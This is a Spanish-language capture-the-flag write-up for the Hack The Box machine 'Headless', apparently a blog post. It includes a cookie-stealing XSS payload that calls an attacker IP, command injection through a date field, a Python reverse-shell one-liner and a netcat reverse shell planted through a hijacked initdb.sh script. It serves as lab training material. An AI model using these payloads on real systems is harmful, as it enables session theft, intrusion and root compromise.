Post

WriteUp Headless - Hack the box

Fase de reconocimiento

1
sudo nmap -Pn -sV -n 10.10.11.8 -vvv -oN nmap.result.ports

reconocimiento

como se aprecia en la imagen tenemos abierto el puerto 22 y puerto 5000 si analizamos la página web veremos que es una página que está en construcción. Existe un botón el cual nos envía a un formulario para poder contactarse con soporte.

vista-web1 vista-web2

al analizar el formulario y hacer pruebas en burpsuite, nos damos cuenta de que la página es vulnerable a XSS reflected. vista-reflected-xss

interceptaremos con burpsuite las peticiones e intentaremos robar la cookie de sesión con el siguiente código en javascript

Primero debemos levantar un servidor web en python para poder recibir el valor de la cookie

1
python3 -m http.server 80

El siguiente código lo pondremos en header user-agent y en el campo del formulario message

1
<script>fetch("http://10.10.14.28/?cookie="+document.cookie)</script>

vista-burp

tenemos que ingresar nuestro payload xss en el user-agent y en el body, como se muestra en a siguiente imagen y esperar a que el mensaje enviado a soporte sea leído, debe haber una tarea programada que revisa cada cierto tiempo los mensajes enviados hacia el servidor.

http-server

Como se aprecia en la imagen en nuestro servidor python levantado locamente recibimos la cookie ahora tenemos que editar nuestra cookie con el valor de la cookie robada, en la fase de reconocimientos nos habíamos encontrado la ruta /dashboard, si vamos a esta ruta con nuestra nueva cookie veremos lo siguiente

admin-dashboard

en esta página podemos enviar una fecha, también podemos concatenar un comando por ejemplo el comando id:

1
date=2023-09-15;id

burp-vuln

como se puede apreciar obtenemos respuesta del comando id, ahora vamos a utilizar python para enviarnos una shell reversa nuestra ip en el puerto 1234

1
date=2023-09-15;python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.28",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

y obtenemos acceso al sistema con el usuario “dvir” y podemos ver la flag

vista-flag-user

Elevación de privilegios

si usamos el comando sudo -l para ver que programas podemos listar los privilegios y comandos que un usuario tiene permitidos ejecutar con privilegios elevados (sudo) podemos ver que podemos ejecutar un binario que está en la ruta /usr/bin/syscheck

vista-elevation-priv

al observar el script podemos ver que se ejecuta un script llamado ./initdb.sh como se ejecuta en una ruta absoluta, crearemos un archivo con el mismo nombre initdb.sh y agregaremos una llamada de netcat hacia nuestra IP de la siguiente forma y le daremos permisos de ejecución al script.

1
2
echo "nc -e /bin/sh 10.10.14.28 4444" > initdb.sh
chmod +x initdb.sh

al ejecutar el /usr/bin/syscheck como super ussuario (sudo), el user root aplicara la llamada hacia nuestra maquina atacante y obtenemos una shell reversa, de esta forma hemos elevado nuestro privilegio y ahora somos el usuario root

vista-elevation-priv-root

This post is licensed under CC BY 4.0 by the author.